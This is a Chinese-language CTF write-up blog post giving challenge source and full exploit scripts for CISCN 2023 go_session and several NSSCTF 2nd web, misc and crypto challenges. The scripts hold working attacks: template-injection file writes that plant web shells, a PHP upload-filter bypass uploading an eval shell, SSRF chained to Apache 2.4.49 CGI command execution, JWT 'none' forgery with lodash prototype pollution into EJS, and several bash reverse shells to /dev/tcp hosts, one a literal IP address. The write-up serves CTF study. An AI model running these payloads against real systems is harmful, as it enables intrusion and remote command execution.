NSSCTF 2nd
jerem1ah Lv4

[CISCN 2023 初赛]go_session

https://un1novvn.github.io/2023/05/29/ciscn2023/

https://ctf.njupt.edu.cn/archives/898#go_session

image-20230919224005120

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"github.com/gin-gonic/gin"
"main/route"
)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}

route.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

1
2
3
4
5
6
7
8
import requests
localhost_url = 'http://127.0.0.1:8081/'
cookie = requests.get(url=localhost_url).cookies['session-name']
print(cookie)

admin_url = 'http://node5.anna.nssctf.cn:28355/admin'
response = requests.get(url=admin_url,cookies={'session-name':cookie}).text
print(response)

访问http://node5.anna.nssctf.cn:28355/flask?name=报错,得到源码

http://node5.anna.nssctf.cn:28355/flask?name=?name=123,没有ssti,debug模式,考虑admin路由重写server.py文件

/app/server.py

1
2
3
4
5
6
7
8
9
10
from flask import *
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"

if __name__== "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)

最终exp

把route.go中的guest改为admin,8081运行起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import requests
from requests_toolbelt import MultipartEncoder
from urllib.parse import quote

base_url = 'http://node5.anna.nssctf.cn:28141/'
admin_url = base_url+'admin'

def get_cookie():
localhost_url = 'http://127.0.0.1:8081/'
cookie = requests.get(url=localhost_url).cookies['session-name']
# print(cookie)
return cookie

def admin_test():
response = requests.get(url=admin_url,
cookies={'session-name':get_cookie()}).text
print(response)

def read_file(filename):
read_payload = '?name={%include c.Request.Referer()%}'
headers = {
'Referer':filename
}
response = requests.get(url=admin_url+read_payload,
cookies={'session-name':get_cookie()},
headers=headers).text
print(response)
def write_file(file_data):
read_payload = '?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}}'

files = {
'filename0': ('1.txt',file_data.encode(),'text/plain')
}
boundary = '--WebKitFormBoundary9K7xUkVGzyQA6e6h'
multipart_encoder = MultipartEncoder(fields=files,boundary=boundary)
headers = {
'Referer':'/app/server.py',
'User-Agent':'filename0',
'Content-Type':multipart_encoder.content_type,
}
print(headers)

response = requests.get(url = admin_url+read_payload,
headers = headers,
cookies = {'session-name':get_cookie()},
data = multipart_encoder)
print(response.request.headers)
print(response.request.body)
print(response.text)



def execute_command(cmd):
url = base_url + f'flask?name=shell?cmd={quote(quote(cmd))}'
# url = base_url+'flask?name=shell?cmd=cd%2520%252F%253Bls%253B'
# print(url)
response = requests.get(url=url,cookies={'session-name':get_cookie()})
print(response.request.url)
print(response.text)


file_data = '''
from flask import Flask, request
import os
app = Flask(__name__)
#123
@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'

if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
'''



# write_file(file_data)
# read_file('/app/server.py')
execute_command('cd /;ls;cat run.sh;')

[NSSCTF 2nd]php签到

https://blog.csdn.net/Jayjay___/article/details/132559381

看到第4行,文件名为xxx.xxx/.时,pathinfo函数的PATHINFO_EXTENSION只能得到空。

同时xxx.xxx/.这种文件名在被file_put_contents函数处理时,会解析成xxx.xxx,原理应该是两个点表示上一目录,一个点表示当前目录。本地测得不管是xxx.xxx还是xxx.xxx/.,file_put_contents函数都能成功写入文件到当前目录下的xxx.xxx文件。

image-20230922205803473

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

function waf($filename){
//黑名单
$black_list = array("ph", "htaccess", "ini");
//得到文件后缀,【有漏洞】
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
//返回$ext字符串从$value第一次出现的位置开始到结尾的字符串。不考虑大小写。
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
//将上传的文件名字url解码
$filename = urldecode($_FILES['file']['name']);
//得到临时文件(就是上传的文件)的内容,临时文件名字一般是/tmp/phpxxxxxx。
//这里估计是防止你文件名是日志、/etc、/flag等等,防止造成非预期。
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
//文件写入
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

1
2
3
4
<form action="http://node6.anna.nssctf.cn:28370/" enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" type="gogogo!" />
</form>

一个优雅的exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from requests_toolbelt import MultipartEncoder
url = "http://node5.anna.nssctf.cn:28727/"

def upload_shell():
shell = '''<?php
@eval($_GET[0]);
?>
'''
files = {
"file":("sh.php%2F%2E",shell.encode(),'text/plain')
}
boundary = '--WebKitFormBoundary9K7xUkVGzyQA6e6h'
multipart_encoder = MultipartEncoder(fields=files,boundary=boundary)
headers = {
"Content-Type":multipart_encoder.content_type
}
response = requests.post(url=url,headers=headers,data=multipart_encoder)
print(response.request.headers)
print(response.request.body)
print(response.text)
def execute_command(command):
payload = f"sh.php?0=system('{command}');"
response = requests.get(url=url+payload).text
print(response)
upload_shell()
execute_command("cd /;ls;env;")

[NSSCTF 2nd]MyBox

https://blog.csdn.net/Jayjay___/article/details/132559381

一个优雅的exp.py

1
2
3
4
5
6
import requests
url = ""

payload = "?url=file:///proc/1/environ"
response = requests.get(url=url+payload).text
print(response)

[NSSCTF 2nd]MyBox2

https://blog.csdn.net/Jayjay___/article/details/132559381

https://blog.csdn.net/Leaf_initial/article/details/132633048?spm=1001.2014.3001.5502

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
if 'proc' in url or 'flag' in url:
return 'no!'
with open(url[7:], 'r') as f:
data = f.read()
if url[7:] == '/app/app.py':
return data
if 'NSSCTF' in data:
return 'no!'
return data
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b''
while 1:
data = s.recv(1024)
if data:
res += data
else:
break
return res
return ''

app.run('0.0.0.0', 827)

一个优雅的exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
from urllib.parse import quote
url = "http://node5.anna.nssctf.cn:28135/"

def get_resource_code():
payload = "?url=file:///app/app.py"
response = requests.get(url=url+payload).text
print(response)
def get_localhost_code():
payload = "?url=http://localhost/"
response = requests.get(url=url+payload).text
print(response)
def gopher_request():

request_payload = \
"""GET /test.php HTTP/1.1
Host: 127.0.0.1:80

""".replace("\n","\r\n")
request_payload = quote(quote(request_payload))

payload = "?url=mybox://127.0.0.1:80/_"+request_payload
response = requests.get(url=url+payload)
print(response.request.url)
print(response.text)
def gopher_apache_2_4_49_exp():
command = '''bash -c "bash -i >& /dev/tcp/39.105.51.11/7779 0>&1"'''
command = "cd /;python3 -m http.server 8082"
request_payload = \
f"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(command)}

{command}
""".replace("\n","\r\n")
request_payload = quote(quote(request_payload))
payload = "?url=mybox://127.0.0.1:80/_" + request_payload
response = requests.get(url = url+payload)
print(response.request.url)
print(response.text)
def readfile():

request_payload = \
"""GET /nevvvvvver_f1nd_m3_the_t3ue_flag HTTP/1.1
Host: 127.0.0.1:8082

""".replace("\n","\r\n")
request_payload = quote(quote(request_payload))

payload = "?url=mybox://127.0.0.1:8082/_"+request_payload
response = requests.get(url=url+payload)
print(response.request.url)
print(response.text)

gopher_apache_2_4_49_exp()
# readfile()

[NSSCTF 2nd]MyHurricane

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True

class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""<html>
<head></head>
<body style="font-size: 30px;">{data}</body></html>
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')

if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()

image-20230923115940042

如果没有过滤,我们的payload:

1
{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}

有过滤的情况下我们可以使用笔记末尾武器库中的payload(适当进行替换)

boogipop师傅的payload:(&换成%26)

1
POST:ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

这种方法利用了tornado里的变量覆盖,让__tt_utf8为eval,在渲染时时会有__tt_utf8(__tt_tmp)这样的调用,然后让__tt_tmp为恶意字符串就好了。

其实方法二都是这个原理。但是一开始对这个payload中的request.body_arguments[request.method][0]比较疑惑。咱们分开来看,首先是第一部分request.body_arguments表示POST参数,第二部分request.method是当前请求的方法也就是POST,第三部分[0]暂时还没找到解释。那request.body_arguments[request.method][0]的意思就是POST请求中名字为POST的参数,[request.method]实现了不用引号调用传入参数。

tornado解析post数据的问题 - myworldworld - 博客园 (cnblogs.com)

https://www.cnblogs.com/hello-/p/10255342.html

[NSSCTF 2nd]MyJs

https://blog.csdn.net/Jayjay___/article/details/132559381

https://leekosss.github.io/2023/08/28/%5BNSSCTF%202nd%5D/#WEB

https://www.secpulse.com/archives/129304.html

https://xz.aliyun.com/t/12754#toc-6

https://www.cnblogs.com/superhin/p/16288059.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')

image-20230923220446113

jwt.verify(token, secret, {algorithm: "HS256"})的参数algorithms错写成了algorithm,导致出现空加密

JWT问题在于两点:

  1. verify时正确的参数是algorithms而不是algorithm,所以这里本质传了个空加密,导致允许空密钥,我们无须获得JWT密钥(高版本已修改)。
  2. 第二个是关于sid的弱比较,如果只是允许空密钥的话我们不知道secret依然无法verify,这里sid如果传个数组就能轻松绕过判断并且img

一个优雅的exp.py

能弹shell用data1

不能弹shell用data1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import jwt
import requests
url = "http://node5.anna.nssctf.cn:28973/"

s = requests.session()
def get_token():
headers = {
"alg":"none",
"typ":"JWT"
}
token_dict = {
"secretid":[],
"username":"nss",
"password":"123456"
}
jwt_token = jwt.encode(token_dict,"",algorithm="none",headers=headers)
print(jwt_token)
return jwt_token
def register(url):
data = {
"username":"123",
"password":"123"
}
url = url + "register"
response = s.post(url=url,json=data)
# print(response.text)
def login(url):
username = "nss"
password = "123456"
token = get_token()

data = {
"username":username,
"password":password,
"token":token
}

url = url + 'login'
response = s.post(url=url,json=data)
# print(response.request.headers)
# print(response.request.body)
# print(response.text)
def update(url,command):
data = {
"__proto__":{
"settings":{
"view options":{
"escapeFunction":"this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/7779 <&1\"');",
"client":"true"
}
}
}
}
data = {
"__proto__":{
"settings":{
"view options":{
"escapeFunction":f"this.global.process.mainModule.require('child_process').execSync('echo `{command}` > ./views/login.ejs');",
"client":"true"
}
}
}
}

url = url + "update"
response = s.post(url=url,json=data)
# print(response.text)
def get_result(url):
url = url + "login"
response = s.get(url=url).text
print(response)
register(url)
login(url)
update(url,"cd /;ls;env")
get_result(url)

[NSSCTF 2nd]gift_in_qrcode2

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import qrcode
from PIL import Image
from random import randrange, getrandbits, seed
import os
import base64

flag = os.getenv("FLAG")
if flag == None:
flag = "flag{test}"

secret_seed = randrange(1, 1000)
seed(secret_seed)
reveal = []
for i in range(20):
reveal.append(str(getrandbits(8)))
target = getrandbits(8)
reveal = ",".join(reveal)

img_qrcode = qrcode.make(reveal)
img_qrcode = img_qrcode.crop((35, 35, img_qrcode.size[0] - 35, img_qrcode.size[1] - 35))

offset, delta, rate = 50, 3, 5
img_qrcode = img_qrcode.resize(
(int(img_qrcode.size[0] / rate), int(img_qrcode.size[1] / rate)), Image.LANCZOS
)
img_out = Image.new("RGB", img_qrcode.size)
for y in range(img_qrcode.size[1]):
for x in range(img_qrcode.size[0]):
pixel_qrcode = img_qrcode.getpixel((x, y))
if pixel_qrcode == 255:
img_out.putpixel(
(x, y),
(
randrange(offset, offset + delta),
randrange(offset, offset + delta),
randrange(offset, offset + delta),
),
)
else:
img_out.putpixel(
(x, y),
(
randrange(offset - delta, offset),
randrange(offset - delta, offset),
randrange(offset - delta, offset),
),
)

img_out.save("qrcode.png")
with open("qrcode.png", "rb") as f:
data = f.read()
print("This my gift:")
print(base64.b64encode(data).decode(), "\n")

print(target)

ans = input("What's your answer:")
if ans == str(target):
print(flag)
else:
print("No no no!")

一个优雅的exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from PIL import Image
from random import seed,getrandbits
from pyzbar import pyzbar
from io import BytesIO
import base64

p = remote('node5.anna.nssctf.cn',28899)
p.recvuntil("\n".encode())
base64data = p.recvline().decode().strip()
def get_numbers_from_image(base64data):
img = Image.open(BytesIO(base64.b64decode(base64data)))
new_img = Image.new("RGB",img.size,(255,255,255))
for y in range(img.size[1]):
for x in range(img.size[0]):
if img.getpixel((x,y))[0] >= 50 :
new_img.putpixel((x,y),(255,255,255))
else:
new_img.putpixel((x,y),(0,0,0))
barcode = pyzbar.decode(new_img)
data = barcode[0].data.decode()
numbers = eval(f"[{data}]")
print(numbers)
return numbers
def get_21th_number(base64data):
numbers = get_numbers_from_image(base64data)
for secret_seed in range(1,1000):
seed(secret_seed)
for _ in range(20):
if getrandbits(8)!=numbers[_]:
break
else:
target = getrandbits(8)
print(target)
return target
number = get_21th_number(base64data)
p.recvuntil(b"What's your answer:")
p.sendline(str(number).encode())
flag = p.recvline()

print(flag.decode())

由于 target 是 1/255 的随机数值,直接以一个固定值碰撞,正确概率为 1/255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

count = 0
while True:
conn = remote("node5.anna.nssctf.cn", 28472)
conn.recvline().decode()
conn.recvline().decode()
conn.recv().decode()

conn.sendline(str('110').encode())

count += 1
print('count:', count)

output = conn.recvline().decode()
if 'No no no!' not in output:
print(output)
break
 Comments